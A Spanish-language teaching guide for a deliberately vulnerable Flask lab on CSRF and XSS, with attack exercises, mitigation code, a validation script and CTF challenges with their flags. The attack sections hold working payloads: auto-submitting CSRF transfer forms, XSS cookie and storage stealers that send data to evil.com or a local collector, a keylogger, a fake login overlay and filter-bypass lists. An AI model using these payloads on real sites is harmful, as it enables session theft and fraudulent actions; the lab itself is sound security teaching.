

# Laboratorio de Seguridad Web: CSRF y XSS

## Guía

### Índice

1. Introducción y Objetivos
  2. Arquitectura de la Aplicación
  3. Configuración del Entorno
  4. Implementación del Backend
  5. Implementación de Templates
  6. Ejercicios de CSRF
  7. Ejercicios de XSS
  8. Validación y Pruebas
  9. Mitigaciones y Mejores Prácticas
- 

## Introducción y Objetivos

### Objetivo General

Desarrollar una aplicación web vulnerable en Python/Flask para comprender y practicar la identificación, explotación y mitigación de vulnerabilidades CSRF (Cross-Site Request Forgery) y XSS (Cross-Site Scripting).

### Objetivos Específicos

- Implementar una aplicación Flask con vulnerabilidades controladas
- Comprender el funcionamiento de ataques CSRF y XSS
- Practicar técnicas de explotación en un entorno seguro
- Implementar contramedidas efectivas en Python

# Arquitectura de la Aplicación

## Stack Tecnológico

- **Backend:** Python 3.8+ con Flask
- **Base de Datos:** SQLite
- **Templates:** Jinja2 (con autoescape deshabilitado para demos XSS)
- **Autenticación:** Flask-Login con sesiones

## Estructura del Proyecto

```
vulnerable-flask-app/  
├── app.py  
├── models.py  
├── requirements.txt  
├── database.db  
├── static/  
│   ├── style.css  
│   └── evil/  
│       └── csrf_attack.html  
├── templates/  
│   ├── base.html  
│   ├── index.html  
│   ├── login.html  
│   ├── dashboard.html  
│   ├── profile.html  
│   └── messages.html  
└── exploits/  
    ├── csrf_demos.html  
    └── xss_payloads.txt
```

# Configuración del Entorno

## Paso 1: Crear Entorno Virtual

```
# Crear directorio del proyecto  
mkdir vulnerable-flask-app  
cd vulnerable-flask-app
```

```
# Crear entorno virtual  
python -m venv venv
```

```
# Activar entorno virtual  
# En Windows:  
venv\Scripts\activate  
# En Linux/Mac:  
source venv/bin/activate
```

## Paso 2: Instalar Dependencias

Instalar dependencia que indica el código utilizando “pip install *dependencia*”

# Ejercicios de CSRF

## Ejercicio 1: CSRF Básico con Formulario

**Objetivo:** Explotar la vulnerabilidad CSRF en transferencias de dinero.

1. **Crear archivo de ataque CSRF** (`static/evil/csrf_attack.html`):

```
<!DOCTYPE html>
<html>
<head>
  <title>Página Maliciosa - Premio Gratis!</title>
</head>
<body>
  <h1>¡Felicidades! Has ganado $1000</h1>
  <p>Haz clic en el botón para reclamar tu premio:</p>

  <!-- Formulario CSRF oculto -->
  <form id="csrfForm" action="http://localhost:5000/transfer" method="POST">
    <input type="hidden" name="to_username" value="bob">
    <input type="hidden" name="amount" value="500">
  </form>

  <button onclick="document.getElementById('csrfForm').submit()">
    Reclamar Premio
  </button>

  <!-- Auto-envío silencioso -->
  <iframe name="csrf-frame" style="display:none"></iframe>
  <form id="silentForm" action="http://localhost:5000/transfer" method="POST"
target="csrf-frame">
    <input type="hidden" name="to_username" value="charlie">
    <input type="hidden" name="amount" value="300">
  </form>

  <script>
    // Enviar automáticamente después de 2 segundos
    setTimeout(() => {
      document.getElementById('silentForm').submit();
    }, 2000);
  </script>
</body>
</html>
```

## 2. Pasos para probar:

- Inicia sesión como "alice"
- En otra pestaña, abre [http://localhost:5000/evil/csrf\\_attack.html](http://localhost:5000/evil/csrf_attack.html)
- Observa cómo se transfiere dinero sin tu consentimiento

## Ejercicio 2: CSRF con AJAX

**Objetivo:** Realizar ataques CSRF usando peticiones asíncronas.

### 1. Crear archivo de ataque AJAX (static/evil/csrf\_ajax.html):

```
<!DOCTYPE html>
<html>
<head>
  <title>Ataque CSRF Silencioso</title>
</head>
<body>
  <h1>Cargando contenido interesante...</h1>

  <script>
    // Ataque 1: Cambiar email
    fetch('http://localhost:5000/update_email', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'Content-Type': 'application/x-www-form-urlencoded',
      },
      body: 'email=hacker@evil.com'
    }).then(() => console.log('Email cambiado'));

    // Ataque 2: Transferencia vía API
    fetch('http://localhost:5000/api/transfer', {
      method: 'POST',
      credentials: 'include',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({
        to_username: 'bob',
        amount: 100
      })
    }).then(() => console.log('Transferencia realizada'));

    // Ataque 3: Obtener información sensible
    fetch('http://localhost:5000/api/user_info', {
      credentials: 'include'
```

```

    })
    .then(r => r.json())
    .then(data => {
        // Enviar datos robados a servidor malicioso
        console.log('Datos robados:', data);
        // En un ataque real:
        // fetch('http://evil.com/collect', {method: 'POST', body: JSON.stringify(data)})
    });
</script>
</body>
</html>

```

### Ejercicio 3: Implementar Protección CSRF

**Objetivo:** Agregar tokens CSRF para proteger la aplicación.

#### 1. Modificar app.py para agregar protección CSRF:

```

# Agregar al inicio de app.py
from flask_wtf.csrf import CSRFProtect, generate_csrf
import secrets

# Habilitar protección CSRF
csrf = CSRFProtect(app)

# Configurar CSRF
app.config['WTF_CSRF_ENABLED'] = True
app.config['WTF_CSRF_TIME_LIMIT'] = None # Sin límite de tiempo

# Agregar función para generar token manual
@app.context_processor
def inject_csrf_token():
    return dict(csrf_token=generate_csrf())

# Modificar la ruta de transferencia para incluir verificación manual
@app.route('/transfer_secure', methods=['POST'])
@login_required
def transfer_secure():
    """Transferencia segura con token CSRF"""
    # Verificación manual del token
    token = request.form.get('csrf_token')
    if not token or token != session.get('csrf_token'):
        return jsonify({'error': 'Token CSRF inválido'}), 403

    # Resto del código de transferencia...
    to_username = request.form.get('to_username')
    amount = int(request.form.get('amount', 0))

```

# ... (mismo código de validación y transferencia)

## 2. Actualizar templates para incluir tokens CSRF:

```
<!-- Modificar dashboard.html -->
<form id="transferForm" method="POST" action="{{ url_for('transfer_secure') }}">
  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
  <!-- Resto del formulario -->
</form>
```

---

# Ejercicios de XSS

## Ejercicio 1: XSS Almacenado Básico (30 minutos)

**Objetivo:** Inyectar scripts maliciosos en mensajes.

### 1. Payloads de prueba para mensajes:

```
// Payload 1: Alert simple
<script>alert('XSS Almacenado')</script>
```

```
// Payload 2: Robo de cookies
<script>
var cookies = document.cookie;
var img = new Image();
img.src = 'http://localhost:8080/steal?cookie=' + encodeURIComponent(cookies);
</script>
```

```
// Payload 3: Keylogger persistente
<script>
document.addEventListener('keypress', function(e) {
  localStorage.setItem('keylog', (localStorage.getItem('keylog') || '') + e.key);
});
</script>
```

```
// Payload 4: Formulario falso
<div
style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999">
  <h1>Sesión Expirada</h1>
  <form onsubmit="alert('Contraseña robada: ' + this.password.value);return false;">
    <input type="password" name="password" placeholder="Ingrese su contraseña">
    <button>Continuar</button>
  </form>
</div>
```

```
// Payload 5: Modificación del DOM
<script>
document.querySelectorAll('form').forEach(f => {
  f.action = 'http://evil.com/capture';
});
</script>
```

## Ejercicio 2: XSS Reflejado

**Objetivo:** Explotar XSS en búsquedas y parámetros URL.

### 1. URLs maliciosas para compartir:

# XSS en búsqueda

`http://localhost:5000/search?q=<script>alert('XSS Reflejado')</script>`

# XSS con codificación

`http://localhost:5000/search?q=%3Cimg%20src=x%20onerror=alert('XSS')%3E`

# XSS con event handlers

`http://localhost:5000/search?q=<img src=x
onerror="fetch('/api/user_info').then(r=>r.json()).then(d=>alert(JSON.stringify(d)))">`

# XSS polyglot

`http://localhost:5000/search?q=javascript:/*--></title></style></textarea></script></xmp><svg/onload='+"/+/onmouseover=1/+/[*/[]/+alert(1)/'+>`

## Ejercicio 3: XSS Avanzado

**Objetivo:** Bypass de filtros y ataques sofisticados.

### 1. Crear exploits/xss\_advanced.py:

```
"""
```

Generador de payloads XSS avanzados

```
"""
```

```
def generate_payloads():
```

```
    payloads = [
```

```
        # Bypass sin script tags
```

```
        "<img src=x onerror=alert(1)>",
```

```
        "<svg onload=alert(1)>",
```

```
        "<body onload=alert(1)>",
```



```

# Bypass de filtros de comillas
"<img src=x onerror=alert`1`>",
"<img src=x onerror=alert(/XSS/)>",

# Codificación HTML
"&lt;script&gt;alert(1)&lt;/script&gt;",
"&#60;script&#62;alert(1)&#60;/script&#62;",

# JavaScript URI
"<a href=javascript:alert(1)>Click</a>",
"<iframe src=javascript:alert(1)>",

# Data URI
"<object data='data:text/html,<script>alert(1)</script>'>",

# Ataques sin parentesis
"<img src=x onerror=alert`XSS`>",
"<img src=x onerror=window.onerror=alert;throw'XSS'>",

# Constructor bypass
"<img src=x onerror=constructor.constructor('alert(1)')()>",
]

```

return payloads

```

def create_cookie_stealer():
    """Crear un script para robar cookies"""
    return """
<script>
// Cookie stealer avanzado
(function() {
    var data = {
        cookies: document.cookie,
        localStorage: JSON.stringify(localStorage),
        sessionStorage: JSON.stringify(sessionStorage),
        url: window.location.href,
        referrer: document.referrer,
        userAgent: navigator.userAgent
    };

    // Enviar datos via imagen
    var img = new Image();
    img.src = 'http://evil.com/collect?data=' + btoa(JSON.stringify(data));

    // Backup: enviar via fetch si está disponible
    if (typeof fetch !== 'undefined') {
        fetch('http://evil.com/collect', {
            method: 'POST',

```

```

        body: JSON.stringify(data),
        mode: 'no-cors'
    });
}
})();
</script>
"""

```

```

if __name__ == "__main__":
    print("=== Payloads XSS Avanzados ===")
    for payload in generate_payloads():
        print(payload)

```

### *Ejercicio 4: Mitigación XSS (opcional)*

**Objetivo:** Implementar defensas contra XSS.

#### **1. Instalar librerías de seguridad:**

```
pip install bleach flask-talisman
```

#### **2. Crear secure\_app.py con mitigaciones:**

```

from flask import Flask, render_template_string, request
from flask_talisman import Talisman
from markupsafe import Markup, escape
import bleach

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secure-secret-key'

# Configurar CSP con Talisman
csp = {
    'default-src': "'self'",
    'script-src': "'self' 'unsafe-inline'", # En producción, evitar unsafe-inline
    'style-src': "'self' 'unsafe-inline'",
    'img-src': "'self' data:",
    'font-src': "'self'",
    'connect-src': "'self'",
    'frame-ancestors': "'none'",
    'form-action': "'self'"
}

```

```

Talisman(app,
    force_https=False, # True en producción
    content_security_policy=csp,
    content_security_policy_nonce_in=['script-src']
)

# Configurar bleach para sanitización
ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'u', 'a']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}

def sanitize_html(text):
    """Sanitizar HTML de entrada"""
    cleaned = bleach.clean(
        text,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        strip=True
    )
    return Markup(cleaned)

# Template seguro con autoescape
SECURE_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
    <title>Aplicación Segura</title>
    <meta charset="utf-8">
</head>
<body>
    <h1>Versión Segura</h1>

    <h2>Entrada Original (escapada):</h2>
    <div>{{ user_input }}</div>

    <h2>Entrada Sanitizada (HTML permitido):</h2>
    <div>{{ sanitized_input }}</div>

    <h2>Búsqueda Segura:</h2>
    <form method="GET">
        <input type="text" name="q" value="{{ search_query }}">
        <button>Buscar</button>
    </form>

    {% if search_query %}
        <p>Resultados para: {{ search_query }}</p>
    {% endif %}
</body>
</html>

```

```
'''
```

```
@app.route('/')
def secure_home():
    user_input = request.args.get('input', '')
    search_query = request.args.get('q', '')

    # Sanitizar entrada para HTML seguro
    sanitized_input = sanitize_html(user_input)

    # Jinja2 escapa automáticamente las variables
    return render_template_string(
        SECURE_TEMPLATE,
        user_input=user_input,
        sanitized_input=sanitized_input,
        search_query=search_query
    )

# Función para validar y limpiar JSON
def sanitize_json_response(data):
    """Limpiar datos antes de enviar como JSON"""
    if isinstance(data, dict):
        return {k: escape(v) if isinstance(v, str) else v for k, v in data.items()}
    elif isinstance(data, list):
        return [escape(item) if isinstance(item, str) else item for item in data]
    return data

if __name__ == '__main__':
    app.run(debug=True, port=5001)
```

---

## ***Validación y Pruebas (Opcional)***

### **Script de Validación (validate.py)**

```
import requests
import json
from colorama import init, Fore, Style

init(autoreset=True)

class VulnerabilityTester:
    def __init__(self, base_url="http://localhost:5000"):
        self.base_url = base_url
        self.session = requests.Session()
```

```

def print_test(self, test_name, vulnerable, details=""):
    if vulnerable:
        print(f"{Fore.RED}[VULNERABLE] {test_name}")
    else:
        print(f"{Fore.GREEN}[SECURE] {test_name}")
    if details:
        print(f" {details}")

def login(self, username="alice", password="password123"):
    """Iniciar sesión"""
    response = self.session.post(
        f"{self.base_url}/login",
        data={"username": username, "password": password}
    )
    return response.status_code == 200

def test_csrf_transfer(self):
    """Probar CSRF en transferencias"""
    print(f"\n{Fore.YELLOW}=== Probando CSRF en Transferencias ===")

    # Intento sin token CSRF
    response = self.session.post(
        f"{self.base_url}/transfer",
        data={"to_username": "bob", "amount": "10"}
    )

    vulnerable = response.status_code == 200
    self.print_test(
        "Transferencia sin token CSRF",
        vulnerable,
        "Las transferencias no requieren token CSRF" if vulnerable else "Token CSRF
requerido"
    )

def test_xss_stored(self):
    """Probar XSS almacenado"""
    print(f"\n{Fore.YELLOW}=== Probando XSS Almacenado ===")

    payload = "<script>alert('XSS')</script>"

    # Publicar mensaje con payload
    response = self.session.post(
        f"{self.base_url}/post_message",
        data={"content": payload}
    )

    # Verificar si el payload se almacena sin sanitizar
    messages_response = self.session.get(f"{self.base_url}/messages")

```

```

vulnerable = payload in messages_response.text

self.print_test(
    "XSS Almacenado en mensajes",
    vulnerable,
    "Los scripts se almacenan y ejecutan" if vulnerable else "Entrada sanitizada
correctamente"
)

def test_xss_reflected(self):
    """Probar XSS reflejado"""
    print(f"\n{Fore.YELLOW}=== Probando XSS Reflejado ===")

    payload = "<img src=x onerror=alert(1)>"
    response = self.session.get(
        f"{self.base_url}/search",
        params={"q": payload}
    )

    vulnerable = payload in response.text
    self.print_test(
        "XSS Reflejado en búsqueda",
        vulnerable,
        "La entrada se refleja sin escapar" if vulnerable else "Entrada escapada
correctamente"
    )

def test_session_cookies(self):
    """Verificar configuración de cookies"""
    print(f"\n{Fore.YELLOW}=== Probando Configuración de Cookies ===")

    cookies = self.session.cookies

    for cookie in cookies:
        vulnerable_httponly = not cookie.has_nonstandard_attr('HttpOnly')
        vulnerable_samesite = not cookie.has_nonstandard_attr('SameSite')

        self.print_test(
            f"Cookie '{cookie.name}' - HttpOnly",
            vulnerable_httponly,
            "Cookie accesible via JavaScript" if vulnerable_httponly else "Cookie protegida
con HttpOnly"
        )

        self.print_test(
            f"Cookie '{cookie.name}' - SameSite",
            vulnerable_samesite,

```

```
        "Cookie vulnerable a CSRF" if vulnerable_samesite else "Cookie protegida con  
SameSite"  
    )
```

```
def test_api_exposure(self):  
    """Verificar exposición de API"""  
    print(f"\n{Fore.YELLOW}=== Probando Exposición de API ===")  
  
    response = self.session.get(f"{self.base_url}/api/user_info")  
  
    if response.status_code == 200:  
        data = response.json()  
        vulnerable = 'session_id' in data  
  
        self.print_test(  
            "Exposición de información sensible en API",  
            vulnerable,  
            f"Datos expuestos: {list(data.keys())}"  
        )
```

```
def run_all_tests(self):  
    """Ejecutar todas las pruebas"""  
    print(f"{Fore.CYAN}{' '*50}")  
    print(f"{Fore.CYAN}Probando vulnerabilidades en {self.base_url}")  
    print(f"{Fore.CYAN}{' '*50}")  
  
    if not self.login():  
        print(f"{Fore.RED}Error: No se pudo iniciar sesión")  
        return
```

```
    self.test_csrf_transfer()  
    self.test_xss_stored()  
    self.test_xss_reflected()  
    self.test_session_cookies()  
    self.test_api_exposure()
```

```
    print(f"\n{Fore.CYAN}{' '*50}")  
    print(f"{Fore.CYAN}Pruebas completadas")  
    print(f"{Fore.CYAN}{' '*50}")
```

```
if __name__ == "__main__":  
    tester = VulnerabilityTester()  
    tester.run_all_tests()
```

## Lista de Verificación Manual

### CSRF

- ☐ Transferencias funcionan sin token
- ☐ Actualización de email sin verificación
- ☐ API acepta peticiones cross-origin
- ☐ Cookies sin atributo SameSite

### XSS

- ☐ Mensajes permiten HTML/JavaScript
  - ☐ Búsquedas reflejan entrada sin escapar
  - ☐ Sin Content Security Policy
  - ☐ Autoescape de Jinja2 deshabilitado
- 

## Mitigaciones y Mejores Prácticas

### Aplicación Segura Completa (secure\_app.py)

```
from flask import Flask, render_template, request, redirect, url_for, jsonify, abort
from flask_login import LoginManager, login_user, logout_user, login_required, current_user
from flask_wtf import FlaskForm
from flask_wtf.csrf import CSRFProtect
from wtforms import StringField, PasswordField, IntegerField, TextAreaField
from wtforms.validators import DataRequired, Email, NumberRange
from werkzeug.security import generate_password_hash, check_password_hash
from flask_talisman import Talisman
import bleach
from models import db, User, Message, Transfer
import secrets
```



```

import re

app = Flask(__name__)

# Configuración segura
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///secure_database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SESSION_COOKIE_SECURE'] = True # HTTPS only
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SAMESITE'] = 'Strict'

# Inicializar extensiones de seguridad
csrf = CSRFProtect(app)
db.init_app(app)
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

# Content Security Policy
csp = {
    'default-src': "'self'",
    'script-src': "'self'",
    'style-src': "'self' 'unsafe-inline'", # Permitir estilos inline para simplicidad
    'img-src': "'self' data: https:",
    'font-src': "'self'",
    'connect-src': "'self'",
    'frame-ancestors': "'none'",
    'form-action': "'self'",
    'base-uri': "'self'",
    'object-src': "'none'"
}

Talisman(app,
    force_https=True,
    strict_transport_security=True,
    content_security_policy=csp,
    content_security_policy_nonce_in=['script-src', 'style-src']
)

# Configuración de sanitización
ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li']
ALLOWED_ATTRIBUTES = {
    'a': ['href', 'title'],
}
ALLOWED_PROTOCOLS = ['http', 'https', 'mailto']

def sanitize_input(text):

```

```

"""Sanitizar entrada de usuario"""
if not text:
    return ""

# Limpiar HTML
cleaned = bleach.clean(
    text,
    tags=ALLOWED_TAGS,
    attributes=ALLOWED_ATTRIBUTES,
    protocols=ALLOWED_PROTOCOLS,
    strip=True
)

# Validación adicional para evitar inyecciones
# Remover cualquier intento de JavaScript
cleaned = re.sub(r'javascript:', '', cleaned, flags=re.IGNORECASE)
cleaned = re.sub(r'on\w+\s*=', '', cleaned, flags=re.IGNORECASE)

return cleaned

# Formularios seguros con CSRF
class LoginForm(FlaskForm):
    username = StringField('Usuario', validators=[DataRequired()])
    password = PasswordField('Contraseña', validators=[DataRequired()])

class TransferForm(FlaskForm):
    to_username = StringField('Destinatario', validators=[DataRequired()])
    amount = IntegerField('Cantidad', validators=[
        DataRequired(),
        NumberRange(min=1, max=10000)
    ])

class MessageForm(FlaskForm):
    content = TextAreaField('Mensaje', validators=[DataRequired()])

class UpdateEmailForm(FlaskForm):
    email = StringField('Email', validators=[DataRequired(), Email()])

@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

# Rutas seguras

@app.route("/")
def index():
    return render_template('secure_index.html')

```

```

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()

    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()

        # Verificar contraseña con hash
        if user and check_password_hash(user.password, form.password.data):
            login_user(user)

            # Validar y sanitizar parámetro 'next'
            next_page = request.args.get('next')
            if next_page and not is_safe_url(next_page):
                return abort(400)

            return redirect(next_page or url_for('dashboard'))

        # Mensaje genérico para no revelar información
        form.username.errors.append('Credenciales inválidas')

    return render_template('secure_login.html', form=form)

def is_safe_url(target):
    """Verificar que la URL es segura para redirección"""
    from urllib.parse import urlparse
    ref_url = urlparse(request.host_url)
    test_url = urlparse(target)
    return test_url.scheme in ('http', 'https') and ref_url.netloc == test_url.netloc

@app.route('/dashboard')
@login_required
def dashboard():
    users = User.query.filter(User.id != current_user.id).all()
    transfer_form = TransferForm()
    email_form = UpdateEmailForm()
    return render_template('secure_dashboard.html',
                           users=users,
                           transfer_form=transfer_form,
                           email_form=email_form)

@app.route('/transfer', methods=['POST'])
@login_required
def transfer():
    form = TransferForm()

    if form.validate_on_submit():
        # Validaciones de negocio

```

```

if current_user.balance < form.amount.data:
    return jsonify({'error': 'Balance insuficiente'}), 400

to_user = User.query.filter_by(username=form.to_username.data).first()
if not to_user:
    return jsonify({'error': 'Usuario no encontrado'}), 404

if to_user.id == current_user.id:
    return jsonify({'error': 'No puedes transferirte a ti mismo'}), 400

# Realizar transferencia
current_user.balance -= form.amount.data
to_user.balance += form.amount.data

transfer = Transfer(
    from_user_id=current_user.id,
    to_user_id=to_user.id,
    amount=form.amount.data
)
db.session.add(transfer)
db.session.commit()

return jsonify({
    'success': True,
    'new_balance': current_user.balance
})

return jsonify({'error': 'Datos inválidos'}), 400

@app.route('/messages', methods=['GET', 'POST'])
def messages():
    form = MessageForm()

    if form.validate_on_submit() and current_user.is_authenticated:
        # Sanitizar contenido antes de guardar
        sanitized_content = sanitize_input(form.content.data)

        message = Message(
            content=sanitized_content,
            user_id=current_user.id
        )
        db.session.add(message)
        db.session.commit()

        return redirect(url_for('messages'))

# Obtener mensajes
all_messages = Message.query.order_by(Message.created_at.desc()).limit(50).all()

```

```

        return render_template('secure_messages.html',
                               form=form,
                               messages=all_messages)

@app.route('/search')
def search():
    query = request.args.get('q', "")

    # Validar y sanitizar query
    if len(query) > 100:
        query = query[:100]

    sanitized_query = bleach.clean(query, tags=[], strip=True)

    results = []
    if sanitized_query:
        # Búsqueda segura usando parámetros
        results = Message.query.filter(
            Message.content.contains(sanitized_query)
        ).limit(20).all()

    return render_template('secure_search.html',
                           query=sanitized_query,
                           results=results)

# Inicializar base de datos con usuarios seguros
def init_secure_db():
    with app.app_context():
        db.create_all()

    if User.query.count() == 0:
        # Crear usuarios con contraseñas hasheadas
        users = [
            User(
                username='alice',
                password=generate_password_hash('SecurePass123!'),
                email='alice@example.com'
            ),
            User(
                username='bob',
                password=generate_password_hash('SecurePass456!'),
                email='bob@example.com'
            ),
        ]

    for user in users:
        db.session.add(user)

```

```
        db.session.commit()

if __name__ == '__main__':
    init_secure_db()
    # En producción: usar gunicorn o uwsgi
    app.run(debug=False, port=5002)
```

## Headers de Seguridad Adicionales

```
# security_headers.py
from flask import Flask, make_response

def add_security_headers(response):
    """Agregar headers de seguridad a todas las respuestas"""

    # Prevenir clickjacking
    response.headers['X-Frame-Options'] = 'DENY'

    # Prevenir MIME sniffing
    response.headers['X-Content-Type-Options'] = 'nosniff'

    # XSS Protection (para navegadores antiguos)
    response.headers['X-XSS-Protection'] = '1; mode=block'

    # Referrer Policy
    response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'

    # Feature Policy / Permissions Policy
    response.headers['Permissions-Policy'] = "geolocation=(), microphone=(), camera=()"

    return response

# Aplicar a todas las respuestas
app.after_request(add_security_headers)
```

## Configuración de Producción

```
# config.py
import os
from datetime import timedelta

class Config:
    """Configuración base"""
    SECRET_KEY = os.environ.get('SECRET_KEY') or os.urandom(32)
    SQLALCHEMY_TRACK_MODIFICATIONS = False

    # Sesiones seguras
    SESSION_COOKIE_SECURE = True
    SESSION_COOKIE_HTTPONLY = True
    SESSION_COOKIE_SAMESITE = 'Lax'
    PERMANENT_SESSION_LIFETIME = timedelta(hours=1)

    # CSRF
    WTF_CSRF_ENABLED = True
    WTF_CSRF_TIME_LIMIT = None
    WTF_CSRF_SSL_STRICT = True

    # Límites de seguridad
    MAX_CONTENT_LENGTH = 16 * 1024 * 1024 # 16MB max

class DevelopmentConfig(Config):
    """Configuración de desarrollo"""
    DEBUG = True
    SQLALCHEMY_DATABASE_URI = 'sqlite:///dev_database.db'
    SESSION_COOKIE_SECURE = False # Para desarrollo sin HTTPS

class ProductionConfig(Config):
    """Configuración de producción"""
```

```
DEBUG = False
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL')

# Logging
LOG_LEVEL = 'WARNING'

# Rate limiting
RATELIMIT_STORAGE_URL = os.environ.get('REDIS_URL')
```

---

## Resumen y Conclusiones

### Conceptos Clave Aprendidos

#### 1. CSRF (Cross-Site Request Forgery)

- Cómo los atacantes explotan la confianza del navegador
- Importancia de tokens únicos por sesión
- Configuración de cookies con SameSite
- Validación del origen de las peticiones

#### 2. XSS (Cross-Site Scripting)

- Diferencias entre XSS almacenado, reflejado y basado en DOM
- Técnicas de bypass de filtros
- Importancia de la sanitización y escape
- Content Security Policy como defensa en profundidad

#### 3. Mejores Prácticas en Python/Flask

- Uso de Flask-WTF para protección CSRF
- Sanitización con bleach
- Headers de seguridad con Flask-Talisman
- Manejo seguro de sesiones y cookies

### Checklist de Seguridad para Flask

#### Autenticación y Sesiones

- [ ] Contraseñas hashadas con werkzeug.security
- [ ] Cookies con flags HttpOnly y SameSite
- [ ] Sesiones con tiempo de expiración



- ☐ Validación de URLs de redirección

### **Protección CSRF**

- ☐ Flask-WTF habilitado globalmente
- ☐ Tokens CSRF en todos los formularios
- ☐ Validación de origen en APIs
- ☐ Métodos HTTP apropiados (GET vs POST)

### **Prevención XSS**

- ☐ Autoescape habilitado en Jinja2
- ☐ Sanitización de entrada con bleach
- ☐ Content Security Policy configurado
- ☐ Headers de seguridad implementados

### **Configuración General**

- ☐ Debug mode deshabilitado en producción
- ☐ Secret key segura y única
- ☐ HTTPS forzado en producción
- ☐ Logs apropiados sin información sensible

### **Recursos de Aprendizaje**

#### **1. Documentación Oficial**

- Flask Security Guide: <https://flask.palletsprojects.com/security/>
- OWASP Python Security: <https://owasp.org/www-project-python-security/>

#### **2. Herramientas de Testing**

- Bandit (análisis estático): `pip install bandit`
- Safety (vulnerabilidades en dependencias): `pip install safety`
- PyTest para tests de seguridad

### **Librerías de Seguridad Recomendadas**

Flask-Security-Too # Suite completa de seguridad  
 Flask-Limiter # Rate limiting  
 Flask-Cors # Manejo seguro de CORS  
 Python-Jose # JWT tokens  
 Cryptography # Criptografía moderna

3.

### **Script de Auditoría Final**

# audit.py - Auditoría de seguridad

```

import subprocess
import sys

def run_security_audit():
    """Ejecutar auditoría de seguridad completa"""

    print("=== Auditoría de Seguridad ===\n")

    # 1. Verificar dependencias vulnerables
    print("1. Verificando dependencias...")
    subprocess.run([sys.executable, "-m", "pip", "check"])
    subprocess.run(["safety", "check"])

    # 2. Análisis estático con bandit
    print("\n2. Análisis de código...")
    subprocess.run(["bandit", "-r", ".", "-f", "json", "-o", "bandit_report.json"])

    # 3. Verificar configuración
    print("\n3. Verificando configuración...")
    config_checks = [
        ("Debug deshabilitado", "DEBUG = False"),
        ("CSRF habilitado", "WTF_CSRF_ENABLED = True"),
        ("Cookies seguras", "SESSION_COOKIE_SECURE = True"),
        ("CSP configurado", "Content-Security-Policy"),
    ]

    for check_name, check_string in config_checks:
        # Verificar en archivos
        result = subprocess.run(
            ["grep", "-r", check_string, "."],
            capture_output=True,
            text=True
        )
        status = "✓" if result.stdout else "✗"
        print(f" {status} {check_name}")

    print("\n=== Auditoría Completada ===")

if __name__ == "__main__":
    run_security_audit()

```

## Ejercicio Final: Competencia CTF

Crea una competencia Capture The Flag (CTF) con las vulnerabilidades aprendidas:

```

# ctf_challenges.py
"""

```

## Retos CTF para practicar

"""

```
challenges = [
    {
        "id": 1,
        "name": "Cookie Monster",
        "description": "Roba la cookie de sesión del admin",
        "points": 100,
        "hint": "XSS + document.cookie"
    },
    {
        "id": 2,
        "name": "Money Transfer",
        "description": "Transfiere $500 de Alice a tu cuenta",
        "points": 150,
        "hint": "CSRF en transferencias"
    },
    {
        "id": 3,
        "name": "Admin Email",
        "description": "Cambia el email del admin a hacker@evil.com",
        "points": 200,
        "hint": "CSRF + ingeniería social"
    },
    {
        "id": 4,
        "name": "Persistent XSS",
        "description": "Inyecta un keylogger que capture 10 teclas",
        "points": 250,
        "hint": "XSS almacenado + event listeners"
    },
    {
        "id": 5,
        "name": "Data Exfiltration",
        "description": "Extrae todos los balances de usuarios",
        "points": 300,
        "hint": "XSS + API endpoint"
    }
]
```

## # Validador de flags

```
flags = {
    1: "CTF{c00k13_m0n5t3r_2024}",
    2: "CTF{c5rf_m45t3r_2024}",
    3: "CTF{3m41l_ch4ng3d_2024}",
    4: "CTF{k3yl0gg3r_2024}",
    5: "CTF{d4t4_3xf1l_2024}"
}
```

